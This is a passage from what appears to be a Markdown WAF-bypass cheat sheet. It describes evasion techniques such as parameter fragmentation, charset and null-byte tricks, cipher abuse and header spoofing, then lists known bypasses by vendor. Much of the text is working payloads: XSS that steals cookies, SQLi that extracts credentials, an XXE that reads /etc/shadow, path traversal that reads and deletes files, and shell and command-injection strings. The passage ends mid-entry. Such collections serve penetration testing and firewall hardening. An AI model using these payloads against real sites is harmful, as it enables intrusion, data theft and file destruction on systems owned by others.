<td align="center">IBM HTTP Server</td>
<td align="center">Last parameter is resulting</td>
<td align="center">par1=val2</td>
</tr>
<tr>
<td align="center">mod_perl, libapeq2/Apache</td>
<td align="center">First parameter is resulting</td>
<td align="center">par1=val1</td>
</tr>
<tr>
<td align="center">Oracle Application Server 10G</td>
<td align="center">First parameter is resulting</td>
<td align="center">par1=val1</td>
</tr>
<tr>
<td align="center">Perl CGI/Apache</td>
<td align="center">First parameter is resulting</td>
<td align="center">par1=val1</td>
</tr>
<tr>
<td align="center">Python/Zope</td>
<td align="center">First parameter is resulting</td>
<td align="center">par1=val1</td>
</tr>
<tr>
<td align="center">IceWarp</td>
<td align="center">An array is returned</td>
<td align="center">['val1','val2']</td>
</tr>
<tr>
<td align="center">AXIS 2400</td>
<td align="center">Last parameter is resulting</td>
<td align="center">par1=val2</td>
</tr>
<tr>
<td align="center">DBMan</td>
<td align="center">Concatenation by two tildes</td>
<td align="center">par1=val1~~val2</td>
</tr>
<tr>
<td align="center">mod-wsgi (Python)/Apache</td>
<td align="center">An array is returned</td>
<td align="center">ARRAY(0x8b9058c)</td>
</tr>
</table>
### HTTP Parameter Fragmentation
- HPF is based on the principle where the server unites the value being passed along the parameters.
- We can split the payload into different components and then pass the values via the parameters.
__Sample Payload__: `1001 RLIKE (-(-1)) UNION SELECT 1 FROM CREDIT_CARDS`
__Sample Query URL__: `http://test.com/url?a=1001+RLIKE&b=(-(-1))+UNION&c=SELECT+1&d=FROM+CREDIT_CARDS`
> __TIP:__ A real life example how bypasses can be crafted using this method can be found [here](http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2009-August/005673.html).
### Browser Bugs:
#### Charset Bugs:
- We can try changing charset header to higher Unicode (eg. UTF-32) and test payloads.
- When the site decodes the string, the payload gets triggered.
Example request:
<pre>
GET <b>/page.php?p=∀㸀㰀script㸀alert(1)㰀/script㸀</b> HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
<b>Accept-Charset:utf-32; q=0.5</b>
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
</pre>
When the site loads, it will be encoded to the UTF-32 encoding that we set, and
then as the output encoding of the page is UTF-8, it will be rendered as: `"<script>alert (1) </ script>` which will trigger XSS.
Final URL encoded payload:
```
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
```
#### Null Bytes:
- The null bytes are commonly used as string terminator.
- This can help us evade many web application filters in case they are not filtering out the null bytes.
Payload examples:
```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
```
__Standard__: `<a href="javascript:alert()">`
__Obfuscated__: `<a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a>`
__Variant__: `<a 0x00 href="javascript:alert(1)">clickme</a>`
#### Parsing Bugs:
- RFC states that NodeNames cannot begin with whitespace.
- But we can use special chars like ` %`, `//`, `!`, `?`, etc.
Examples:
- `<// style=x:expression\28write(1)\29>` - Works upto IE7 _([Source](http://html5sec.org/#71))_
- `<!--[if]><script>alert(1)</script -->` - Works upto IE9 _([Reference](http://html5sec.org/#115))_
- `<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>` - Works in IE7 _([Reference](http://html5sec.org/#77))_
- `<%div%20style=xss:expression(prompt(1))>` - Works Upto IE7
#### Unicode Separators:
- Every browser has their own specific charset of separators.
- We can fuzz charset range of `0x00` to `0xFF` and get the set of separators for each browser.
- We can use these separators in places where a space is required.
Here is a compiled list of separators by [@Masato Kinugawa](https://github.com/masatokinugawa):
- IExplorer: `0x09`, `0x0B`, `0x0C`, `0x20`, `0x3B`
- Chrome: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
- Safari: `0x2C`, `0x3B`
- FireFox: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
- Opera: `0x09`, `0x20`, `0x2C`, `0x3B`
- Android: `0x09`, `0x20`, `0x28`, `0x2C`, `0x3B`
An exotic payload example:
```
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
```
### Using Atypical Equivalent Syntactic Structures
- This method aims at finding a way of exploitation not considered by the WAF developers.
- Some use cases can be twitched to critical levels where the WAF cannot detect the payloads at all.
- This payload is accepted and executed by the server after going through the firewall.
Some common keywords overlooked by WAF developers:
- JavaScript functions:
- `window`
- `parent`
- `this`
- `self`
- Tag attributes:
- `onwheel`
- `ontoggle`
- `onfilterchange`
- `onbeforescriptexecute`
- `ondragstart`
- `onauxclick`
- `onpointerover`
- `srcdoc`
- SQL Operators
- `lpad`
- `field`
- `bit_count`
Example Payloads:
- __Case:__ XSS
```
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
```
- __Case:__ SQLi
```
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
```
Many alternatives to the original JavaScript can be used, namely:
- [JSFuck](http://www.jsfuck.com/)
- [JJEncode](http://utf-8.jp/public/jjencode.html)
- [XChars.JS](https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html)
> However the problem in using the above syntactical structures is the long payloads which might possibly be detected by the WAF or may be blocked by the CSP. However, you never know, they might bypass the CSP (if present) too. ;)
### Abusing SSL/TLS Ciphers:
- Many a times, servers do accept connections from various SSL/TLS ciphers and versions.
- Using a cipher to initialise a connection to server which is not supported by the WAF can do our workload.
#### Technique:
- Dig out the ciphers supported by the firewall (usually the WAF vendor documentation discusses this).
- Find out the ciphers supported by the server (tools like [SSLScan](https://github.com/rbsec/sslscan) helps here).
- If a specific cipher not supported by WAF but by the server, is found, voila!
- Initiating a new connection to the server with that specific cipher should smuggle our payload in.
> __Tool__: [abuse-ssl-bypass-waf](https://github.com/LandGrey/abuse-ssl-bypass-waf)
```
python abuse-ssl-bypass-waf.py -thread 4 -target <target>
```
CLI tools like cURL can come very handy for PoCs:
```
curl --ciphers <cipher> -G <test site> -d <payload with parameter>
```
### Abuse WAF limit on HTTP Responses
#### Method
- Many a times, WAFs have a limit on _how much_ of the HTTP request they are meant to handle.
- By sending a HTTP request with a size __greater than the limit__, we can fully evade WAFs.
#### Technique
- Use a hit and trial approach to find out how much of the HTTP request is being inspected by the WAF (usually in multiples of 4 kB).
- Once done, attach your payload to the request after filling the limit with garbage.
> A similar technique was used to [bypass Google Cloud Platform WAF](https://kloudle.com/blog/piercing-the-cloud-armor-the-8kb-bypass-in-google-cloud-platform-waf).
### Abusing DNS History:
- Often old historical DNS records provide information about the location of the site behind the WAF.
- The target is to get the location of the site, so that we can route our requests directly to the site and not through the WAF.
> __TIP:__ Some online services like [IP History](http://www.iphistory.ch/en/) and [DNS Trails](https://securitytrails.com/dns-trails) come to the rescue during the recon process.
__Tool__: [bypass-firewalls-by-DNS-history](https://github.com/vincentcox/bypass-firewalls-by-DNS-history)
```
bash bypass-firewalls-by-DNS-history.sh -d <target> --checkall
```
### Using Whitelist Strings:
#### Method:
- Some WAF developers keep a shared secret with their users/devs which allows them to pass harmful queries through the WAF.
- This shared secret, if leaked/known, can be used to bypass all protections within the WAF.
#### Technique:
- Using the whitelist string as a parameter in GET/POST/PUT/DELETE requests smuggles our payload through the WAF.
- Usually some `*-sync-request` keywords or a shared token value is used as the secret.
- Often adding specific headers may trigger a similar whitelist behaviour.
Now when making a request to the server, you can append it as a parameter:
```
http://host.com/?randomparameter=<malicious-payload>&<shared-secret>=True
```
> A real life example how this works can be found at [this blog](https://osandamalith.com/2019/10/12/bypassing-the-webarx-web-application-firewall-waf/).
### Request Header Spoofing:
#### Method:
- The target is to fool the WAF/server into believing it was from their internal network.
- Adding some spoofed headers to represent the internal network, does the trick.
#### Technique:
- With each request some set of headers are to be added simultaneously thus spoofing the origin.
- The upstream proxy/WAF misinterprets the request was from their internal network, and lets our gory payload through.
Some common headers used:
```
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
```
### Google Dorks Approach:
#### Method:
- There are a lot of known bypasses of various web application firewalls ([see section](#known-bypasses)).
- With the help of google dorks, we can easily find bypasses.
#### Techniques:
Before anything else, you should hone up skills from [Google Dorks Cheat Sheet](http://pdf.textfiles.com/security/googlehackers.pdf).
- Normal search:
`+<wafname> waf bypass`
- Searching for specific version exploits:
`"<wafname> <version>" (bypass|exploit)`
- For specific type bypass exploits:
`"<wafname>" +<bypass type> (bypass|exploit)`
- On [Exploit DB](https://exploit-db.com):
`site:exploit-db.com +<wafname> bypass`
- On [0Day Inject0r DB](https://0day.today):
`site:0day.today +<wafname> <type> (bypass|exploit)`
- On [Twitter](https://twitter.com):
`site:twitter.com +<wafname> bypass`
- On [Pastebin](https://pastebin.com)
`site:pastebin.com +<wafname> bypass`
## Known Bypasses:
### Airlock Ergon
- SQLi Overlong UTF-8 Sequence Bypass (>= v4.2.4) by [@Sec Consult](https://www.exploit-db.com/?author=1614)
```
%C0%80'+union+select+col1,col2,col3+from+table+--+
```
### AWS WAF
- [SQLi Bypass](https://github.com/enkaskal/aws-waf-sqli-bypass-PoC) by [@enkaskal](https://twitter.com/enkaskal)
```
"; select * from TARGET_TABLE --
```
- [XSS Bypass](https://github.com/kmkz/Pentesting/blob/master/Pentest-Cheat-Sheet#L285) by [@kmkz](https://twitter.com/kmkz_security)
```
<script>eval(atob(decodeURIComponent("payload")))//
```
- [XSS Bypass](https://www.sysdig.com/blog/fuzzing-and-bypassing-the-aws-waf) by [Daniele Linguaglossa]
```
<strong><button popovertarget=x>click me</button><test onbeforetoggle=alert(document.domain) popover id=x>aaa</aaa></strong>
```
### Barracuda
- Cross Site Scripting by [@WAFNinja](https://waf.ninja)
```
<body style="height:1000px" onwheel="alert(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="alert(1)">
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
```
- HTML Injection by [@Global-Evolution](https://www.exploit-db.com/?author=2016)
```
GET /cgi-mod/index.cgi?&primary_tab=ADVANCED&secondary_tab=test_backup_server&content_only=1&&&backup_port=21&&backup_username=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_type=ftp&&backup_life=5&&backup_server=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_path=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net/etc/bad-example.exe%3E&&backup_password=%3E%22%3Ciframe%20src%3Dhttp%3A//www.example.net%20width%3D800%20height%3D800%3E&&user=guest&&password=121c34d4e85dfe6758f31ce2d7b763e7&&et=1261217792&&locale=en_US
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
```
- XSS Bypass by [@0xInfection](https://twitter.com/0xInfection)
```
<a href=j%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At:open()>clickhere
```
- [Barracuda WAF 8.0.1 - Remote Command Execution (Metasploit)](https://www.exploit-db.com/exploits/40146) by [@xort](https://www.exploit-db.com/?author=479#)
- [Barracuda Spam & Virus Firewall 5.1.3 - Remote Command Execution (Metasploit)](https://www.exploit-db.com/exploits/40147) by [@xort](https://www.exploit-db.com/?author=479)
### Cerber (WordPress)
- Username Enumeration Protection Bypass by HTTP Verb Tampering by [@ed0x21son](https://www.exploit-db.com/?author=9901)
```
POST host.com HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/5.0 (compatible; MSIE5.01; Windows NT)
author=1
```
- Protected Admin Scripts Bypass by [@ed0x21son](https://www.exploit-db.com/?author=9901)
```
http://host/wp-admin///load-scripts.php?load%5B%5D=jquery-core,jquery-migrate,utils
http://host/wp-admin///load-styles.php?load%5B%5D=dashicons,admin-bar
```
- REST API Disable Bypass by [@ed0x21son](https://www.exploit-db.com/?author=9901)
```
http://host/index.php/wp-json/wp/v2/users/
```
### Citrix NetScaler
- SQLi via HTTP Parameter Pollution (NS10.5) by [@BGA Security](https://www.exploit-db.com/?author=7396)
```
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<string>’ union select current_user, 2#</string>
</soapenv:Body>
</soapenv:Envelope>
```
- [`generic_api_call.pl` XSS](https://www.exploit-db.com/exploits/30777) by [@NNPoster](https://www.exploit-db.com/?author=6654)
```
http://host/ws/generic_api_call.pl?function=statns&standalone=%3c/script%3e%3cscript%3ealert(document.cookie)%3c/script%3e%3cscript%3e
```
### Cloudflare
- [XSS Bypass](https://twitter.com/SalahHasoneh1/status/1281254703360344064) by [@@SalahHasoneh1](https://twitter.com/@SalahHasoneh1)
```
<svg onx=() onload=(confirm)(1)>
```
- [XSS Bypass](https://pastebin.com/i8Ans4d4) by [@c0d3g33k](https://twitter.com/c0d3g33k)
```
<a+HREF='javascrip%26%239t:alert%26lpar;document.domain)'>test</a>
```
- [XSS Bypasses](https://twitter.com/h1_ragnar) by [@Bohdan Korzhynskyi](https://twitter.com/h1_ragnar)
```
<svg onload=prompt%26%230000000040document.domain)>
<svg onload=prompt%26%23x000000028;document.domain)>
xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>
1'"><img/src/onerror=.1|alert``>
```
- [XSS Bypass](https://twitter.com/RakeshMane10/status/1109008686041759744) by [@RakeshMane10](https://twitter.com/rakeshmane10)
```
<svg/onload=alert()//
```
- [XSS Bypass](https://twitter.com/ArbazKiraak/status/1090654066986823680) by [@ArbazKiraak](https://twitter.com/ArbazKiraak)
```
<a href="j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this['document']['cookie'])">X</a>`
```
- XSS Bypass by [@Ahmet Ümit](https://twitter.com/ahmetumitbayram)
```
<--`<img/src=` onerror=confirm``> --!>
```
- [XSS Bypass](https://twitter.com/le4rner/status/1146453980400082945) by [@Shiva Krishna](https://twitter.com/le4rner)
```
javascript:{alert`0`}
```
- [XSS Bypass](https://twitter.com/brutelogic/status/1147118371965755393) by [@Brute Logic](https://twitter.com/brutelogic)
```
<base href=//knoxss.me?
```
- [XSS Bypass](https://twitter.com/RenwaX23/status/1147130091031449601) by [@RenwaX23](https://twitter.com/RenwaX23) (Chrome only)
```
<j id=x style="-webkit-user-modify:read-write" onfocus={window.onerror=eval}throw/0/+name>H</j>#x
```
- [RCE Payload Detection Bypass](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle)
```
cat$u+/etc$u/passwd$u
/bin$u/bash$u <ip> <port>
";cat+/etc/passwd+#
```
### Cloudbric
- [XSS Bypass](https://twitter.com/0xInfection/status/1212331839743873026) by [@0xInfection](https://twitter.com/0xinfection)
```
<a69/onclick=[1].findIndex(alert)>pew
```
### Comodo
- XSS Bypass by [@0xInfection](https://twitter.com/0xinfection)
```
<input/oninput='new Function`confir\u006d\`0\``'>
<p/ondragstart=%27confirm(0)%27.replace(/.+/,eval)%20draggable=True>dragme
```
- SQLi by [@WAFNinja](https://waf.ninja)
```
0 union/**/select 1,version(),@@datadir
```
### DotDefender
- Firewall disable by (v5.0) by [@hyp3rlinx](http://hyp3rlinx.altervista.org)
```
PGVuYWJsZWQ+ZmFsc2U8L2VuYWJsZWQ+
<enabled>false</enabled>
```
- Remote Command Execution (v3.8-5) by [@John Dos](https://www.exploit-db.com/?author=1996)
```
POST /dotDefender/index.cgi HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Authorization: Basic YWRtaW46
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15
```
- Persistent XSS (v4.0) by [@EnableSecurity](https://enablesecurity.com)
```
GET /c?a=<script> HTTP/1.1
Host: 172.16.159.132
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US;
rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
<script>alert(1)</script>: aa
Keep-Alive: 300
```
- R-XSS Bypass by [@WAFNinja](https://waf.ninja)
```
<svg/onload=prompt(1);>
<isindex action="javas&tab;cript:alert(1)" type=image>
<marquee/onstart=confirm(2)>
```
- XSS Bypass by [@0xInfection](https://twitter.com/0xinfection)
```
<p draggable=True ondragstart=prompt()>alert
<bleh/ondragstart=	parent	['open']	()%20draggable=True>dragme
<a69/onclick=[1].findIndex(alert)>click
```
- GET - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741)
```
/search?q=%3Cimg%20src=%22WTF%22%20onError=alert(/0wn3d/.source)%20/%3E
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v%2Ba%2Be%2Bs](e%2Bs%2Bv%2B
h%2Bn)(/0wn3d/.source)" />
```
- POST - XSS Bypass (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741)
```
<img src="WTF" onError="{var
{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/0wn3d/
.source)" />
```
- `clave` XSS (v4.02) by [@DavidK](https://www.exploit-db.com/?author=2741)
```
/?&idPais=3&clave=%3Cimg%20src=%22WTF%22%20onError=%22{
```
### Fortinet Fortiweb
- `pcre_expression` unvaidated XSS by [@Benjamin Mejri](https://www.exploit-db.com/?author=7854)
```
/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0
```
- CSP Bypass by [@Binar10](https://www.exploit-db.com/exploits/18840)
POST Type Query
```
POST /<path>/login-app.aspx HTTP/1.1
Host: <host>
User-Agent: <any valid user agent string>
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: <the content length must be at least 2399 bytes>
var1=datavar1&var2=datavar12&pad=<random data to complete at least 2399 bytes>
```
GET Type Query
```
http://<domain>/path?var1=vardata1&var2=vardata2&pad=<large arbitrary data>
```
### F5 ASM
- XSS Bypass by [@WAFNinja](https://waf.ninja)
```
<table background="javascript:alert(1)"></table>
"/><marquee onfinish=confirm(123)>a</marquee>
```
### F5 BIG-IP
- XSS Bypass by [@WAFNinja](https://waf.ninja/)
```
<body style="height:1000px" onwheel="[DATA]">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="[DATA]">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss" onshow="prom%25%32%33%25%32%36x70;t(1)">
```
- XSS Bypass by [@Aatif Khan](https://twitter.com/thenapsterkhan)
```
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
<div contextmenu="xss">Right-Click Here<menu id="xss"onshow="prom%25%32%33%25%32%36x70;t(1)“>
```
- [`report_type` XSS](https://www.securityfocus.com/bid/27462/info) by [@NNPoster](https://www.exploit-db.com/?author=6654)
```
https://host/dms/policy/rep_request.php?report_type=%22%3E%3Cbody+onload=alert(%26quot%3BXSS%26quot%3B)%3E%3Cfoo+
```
- POST Based XXE by [@Anonymous](https://www.exploit-db.com/?author=2168)
```
POST /sam/admin/vpe2/public/php/server.php HTTP/1.1
Host: bigip
Cookie: BIGIPAuthCookie=*VALID_COOKIE*
Content-Length: 143
<?xml version="1.0" encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM '/etc/shadow'> ]>
<message><dialogueType>&e;</dialogueType></message>
```
- Directory Traversal by [@Anastasios Monachos](https://www.exploit-db.com/?author=2932)
Read Arbitrary File
```
/tmui/Control/jspmap/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd
```
Delete Arbitrary File
```
POST /tmui/Control/form HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6C6BADBEFB32C36CDE7A59C416659494; f5advanceddisplay=""; BIGIPAuthCookie=89C1E3BDA86BDF9E0D64AB60417979CA1D9BE1D4; BIGIPAuthUsernameCookie=admin; F5_CURRENT_PARTITION=Common; f5formpage="/tmui/system/archive/properties.jsp?&name=../../../../../etc/passwd"; f5currenttab="main"; f5mainmenuopenlist=""; f5_refreshpage=/tmui/Control/jspmap/tmui/system/archive/properties.jsp%3Fname%3D../../../../../etc/passwd
Content-Type: application/x-www-form-urlencoded
_form_holder_opener_=&handler=%2Ftmui%2Fsystem%2Farchive%2Fproperties&handler_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&showObjList=&showObjList_before=&hideObjList=&hideObjList_before=&enableObjList=&enableObjList_before=&disableObjList=&disableObjList_before=&_bufvalue=icHjvahr354NZKtgQXl5yh2b&_bufvalue_before=icHjvahr354NZKtgQXl5yh2b&_bufvalue_validation=NO_VALIDATION&com.f5.util.LinkedAdd.action_override=%2Ftmui%2Fsystem%2Farchive%2Fproperties&com.f5.util.LinkedAdd.action_override_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties&linked_add_id=&linked_add_id_before=&name=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&name_before=..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&form_page=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&form_page_before=%2Ftmui%2Fsystem%2Farchive%2Fproperties.jsp%3F&download_before=Download%3A+..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&restore_before=Restore&delete=Delete&delete_before=Delete
```
### F5 FirePass
- SQLi Bypass from [@Anonymous](https://www.exploit-db.com/?author=2168)
```
state=%2527+and+
(case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+
BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+
```
### ModSecurity
- [XSS Bypass for CRS 3.2](https://twitter.com/brutelogic/status/1209086328383660033) by [@brutelogic](https://twitter.com/brutelogic)
```
<a href="jav%0Dascript:alert(1)">
````
- [RCE Payloads Detection Bypass for PL3](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.1)
```
;+$u+cat+/etc$u/passwd$u
```
- [RCE Payloads Detection Bypass for PL2](https://www.secjuice.com/web-application-firewall-waf-evasion/) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.1)
```
;+$u+cat+/etc$u/passwd+\#
```
- [RCE Payloads for PL1 and PL2](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.0)
```
/???/??t+/???/??ss??
```
- [RCE Payloads for PL3](https://medium.com/secjuice/waf-evasion-techniques-718026d693d8) by [@theMiddle](https://twitter.com/Menin_TheMiddle) (v3.0)
```
/?in/cat+/et?/passw?
```
- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Johannes Dahse](https://twitter.com/#!/fluxreiners) (v2.2)
```
0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
```
- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Yuri Goltsev](https://twitter.com/#!/ygoltsev) (v2.2)
```
1 AND (select DCount(last(username)&after=1&after=1) from users where username='ad1min')
```
- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Ahmad Maulana](http://twitter.com/#!/hmadrwx) (v2.2)
```
1'UNION/*!0SELECT user,2,3,4,5,6,7,8,9/*!0from/*!0mysql.user/*-
```
- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Travis Lee](http://twitter.com/#!/eelsivart) (v2.2)
```
amUserId=1 union select username,password,3,4 from users
```
- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Roberto Salgado](http://twitter.com/#!/lightos) (v2.2)
```
%0Aselect%200x00,%200x41%20like/*!31337table_name*/,3%20from%20information_schema.tables%20limit%201
```
- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@Georgi Geshev](http://twitter.com/#!/ggeshev) (v2.2)
```
1%0bAND(SELECT%0b1%20FROM%20mysql.x)
```
- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@SQLMap Devs](http://sqlmap.sourceforge.net/#developers) (v2.2)
```
%40%40new%20union%23sqlmapsqlmap...%0Aselect%201,2,database%23sqlmap%0A%28%29
```
- [SQLi Bypass](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modsecurity-sql-injection-challenge-lessons-learned/) by [@HackPlayers](http://twitter.com/#!/hackplayers) (v2.2)
```
%0Aselect%200x00%2C%200x41%20not%20like%2F*%2100000table_name*%2F%2C3%20from%20information_schema.tables%20limit%201
```
### Imperva
- [XSS Bypass](https://twitter.com/smaury92/status/1422599636800450572) by [@smaury92](https://twitter.com/smaury92)
```html
<input id='a'value='global'><input id='b'value='E'><input 'id='c'value='val'><input id='d'value='aler'><input id='e'value='t(documen'><input id='f'value='t.domain)'><svg+onload[\r\n]=$[a.value+b.value+c.value](d.value+e.value+f.value)>
```
- [XSS Bypass](https://twitter.com/0xInfection/status/1420046446095519749) by [@0xInfection](https://twitter.com/0xInfection)
```html
<x/onclick=globalThis['\u0070r\u006f'+'mpt']<)>clickme
```
- [XSS Bypass](https://twitter.com/0xInfection/status/1364622858090016777) by [@0xInfection](https://twitter.com/0xInfection)
```html
<a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click
```
- [XSS Bypass](https://twitter.com/0xInfection/status/1212331839743873026) by [@0xInfection](https://twitter.com/0xinfection)
```html
<a69/onclick=write()>pew
```
- [XSS Bypass](https://twitter.com/_ugurercan/status/1188406765735632896) by [@ugurercan](https://twitter.com/_ugurercan)
```html
<details/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"/open>
```
- [Imperva SecureSphere 13 - Remote Command Execution](https://www.exploit-db.com/exploits/45542) by [@rsp3ar](https://www.exploit-db.com/?author=9396)
- XSS Bypass by [@David Y](https://twitter.com/daveysec)
```
<svg onload\r\n=$.globalEval("al"+"ert()");>
```
- XSS Bypass by [@Emad Shanab](https://twitter.com/alra3ees)
```
<svg/onload=self[`aler`%2b`t`]`1`>
anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz
```
- XSS Bypass by [@WAFNinja](https://waf.ninja)
```
%3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E
```
- XSS Bypass by [@i_bo0om](https://twitter.com/i_bo0om)
```
<iframe/onload='this["src"]="javas	cript:al"+"ert``"';>
<img/src=q onerror='new Function`al\ert\`1\``'>
```
- XSS Bypass by [@c0d3g33k](https://twitter.com/c0d3g33k)
```
<object data='data:text/html;;;;;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='></object>
```
- SQLi Bypass by [@DRK1WI](https://www.exploit-db.com/?author=7740)
```
15 and '1'=(SELECT '1' FROM dual) and '0having'='0having'
```
- SQLi by [@Giuseppe D'Amore](https://www.exploit-db.com/?author=6413)
```
stringindatasetchoosen%%' and 1 = any (select 1 from SECURE.CONF_SECURE_MEMBERS where FULL_NAME like '%%dministrator' and rownum<=1 and PASSWORD like '0%') and '1%%'='1
```
- [Imperva SecureSphere <= v13 - Privilege Escalation](https://www.exploit-db.com/exploits/45130) by [@0x09AL](https://www.exploit-db.com/?author=8991)
### Kona SiteDefender
- [XSS Bypass](https://twitter.com/XSaadAhmedX/status/1482398313227948034) by [@SaadAhmed](https://twitter.com/XSaadAhmedX)
```
